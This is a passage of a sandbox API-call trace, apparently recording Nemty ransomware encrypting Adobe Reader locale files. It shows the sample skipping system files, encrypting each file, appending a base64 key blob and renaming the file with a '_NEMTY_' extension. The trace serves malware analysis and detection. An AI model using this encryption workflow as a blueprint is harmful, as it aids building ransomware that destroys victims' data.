lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.731] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1e00, lpOverlapped=0x0) returned 1 [0186.734] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.734] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1e00, lpOverlapped=0x0) returned 1 [0186.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.734] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0186.734] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.734] CloseHandle (hObject=0x2e8) returned 1 [0186.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.734] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\updater.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\updater.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\updater.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\updater.cht._nemty_kgobjgd_")) returned 1 [0186.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.735] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.CHT", cAlternateFileName="")) returned 1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2=".") returned 1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2="..") returned 1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2="...") returned 1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2="windows") returned -1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2="rsa") returned 1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2="NTDETECT.COM") returned 1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2="ntldr") returned 1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2="MSDOS.SYS") returned 1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2="IO.SYS") returned 1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2="boot.ini") returned 1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2="boot.ini") returned 1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.735] lstrcmpiW (lpString1="Weblink.CHT", lpString2="ntuser.dat") returned 1 [0186.736] lstrcmpiW (lpString1="Weblink.CHT", lpString2="desktop.ini") returned 1 [0186.736] lstrcmpiW (lpString1="Weblink.CHT", lpString2="CONFIG.SYS") returned 1 [0186.736] lstrcmpiW (lpString1="Weblink.CHT", lpString2="RECYCLER") returned 1 [0186.736] lstrcmpiW (lpString1="Weblink.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.736] lstrcmpiW (lpString1="Weblink.CHT", lpString2="bootmgr") returned 1 [0186.736] lstrcmpiW (lpString1="Weblink.CHT", lpString2="programdata") returned 1 [0186.736] lstrcmpiW (lpString1="Weblink.CHT", lpString2="appdata") returned 1 [0186.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHT", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHT", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.736] Sleep (dwMilliseconds=0x5) [0186.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22f4b0d0, dwHighDateTime=0x1d561e8)) [0186.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22f4b0d0, dwHighDateTime=0x1d561e8)) [0186.746] GetLastError () returned 0x0 [0186.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.746] GetLastError () returned 0x0 [0186.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.746] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.746] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.746] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.746] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="JGZSLn1w4GYzBfVzRzP0zjqY39wY88oOW2VGhVwK4uFvLcdIznAkicJfYsOvMkg7\r\nKddbDCXwfwaBo2dR15J2+3WhCX55m/9UUVQOjUkBSpRQIFylDdlQOJCnzn4yNxXT\r\nupZKa7McEqBbx82A2Gen8wJbJSqLXUfi6rdBvwfR1ngbRzDEesHrHSBU1W+21sk1\r\nSThTDmTiwjZHNbXQ+7HQvtOB/Djsc4N97JS7ys8emjH1HwYOA5aAEqhdolUja3Tu\r\noMfPwbIqww9s8sL/HWVWsC6KrP5Sb7KbviQYrF2DkvdvBU248imd/J9p4p+beZVy\r\nFhTzeZbo3tVYut3SYaWmeg==\r\n", pcchString=0x653e5dc) returned 1 [0186.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Weblink.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\weblink.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.747] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=19968) returned 1 [0186.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4e00) returned 0x6352c48 [0186.747] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.747] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4e00, lpOverlapped=0x0) returned 1 [0186.750] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.750] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4e00, lpOverlapped=0x0) returned 1 [0186.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.750] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=19968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e00 [0186.750] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.750] CloseHandle (hObject=0x2e8) returned 1 [0186.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.750] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.750] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.751] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Weblink.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\weblink.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Weblink.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\weblink.cht._nemty_kgobjgd_")) returned 1 [0186.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.751] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22b20a50, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x22b20a50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22b46bb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0186.751] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0186.751] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0186.751] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0186.751] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0186.751] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0186.751] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0186.751] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0186.751] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0186.752] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0186.752] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0186.752] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.752] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.752] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0186.752] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0186.752] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0186.752] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0186.752] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0186.752] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0186.752] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0186.752] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0186.752] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0186.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0186.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0186.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0186.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.753] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22b20a50, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x22b20a50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22b46bb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0186.753] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0186.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0186.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 